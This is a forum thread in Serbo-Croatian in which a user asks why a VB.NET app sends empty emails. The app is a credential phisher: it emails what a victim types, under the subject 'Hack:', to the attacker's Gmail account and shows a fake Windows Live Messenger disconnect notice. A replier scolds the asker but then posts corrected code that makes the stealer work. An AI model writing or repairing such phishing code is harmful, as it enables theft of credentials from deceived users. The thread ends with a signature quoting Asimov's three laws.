Potrebna mi jepomoc sa aplikacijom. Kada u Textbox-u upisem podatke i idem sent stize mi prazan email...U cemu je problem ??? Evo Coda :
Imports System.Net.Mail Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dim smtpserver As New SmtpClient() Dim mail As New MailMessage() smtpserver.Credentials = New Net.NetworkCredential("Your mail", "password") smtpserver.Port = 587 smtpserver.Host = "smtp.gmail.com" smtpserver.EnableSsl = True mail.From = New MailAddress("Your mail") mail.Subject = "Hack: " mail.To.Add("Your mail") mail.Body = "username: ""password" smtpserver.Send(mail) MsgBox("Sorry,You have been dissconnected from server, ther are new version of Windows live messenger , please download it.") End Sub
Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
1. Mani se hack-a... Prvo nauci jezik pa onda pravi phishere... Nije fora da ti neko drugi napravi... 2. Nije ovo pravo mesto za temu... 3. Sta ce ti TextBox1.TextChanged? 4. Evo ti kod:
Kod:
Imports System.Net.Mail Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dim smtpserver As New SmtpClient() Dim mail As New MailMessage() smtpserver.Credentials = New Net.NetworkCredential("email", "pass") smtpserver.Port = 587 smtpserver.Host = "smtp.gmail.com" smtpserver.EnableSsl = True mail.From = New MailAddress("email") mail.Subject = "Hack: " mail.To.Add("email") mail.Body = TextBox1.Text smtpserver.Send(mail) MsgBox("Sorry,You have been dissconnected from server, ther are new version of Windows live messenger , please download it.") End Sub End Class
- A robot may not injure a human being or, through inaction, allow a human being to come to harm - A robot must obey the orders given to it by human beings, except where such orders would conflict with the First Law - A robot must protect its own existence as long as such protection does not conflict with the First or Second Laws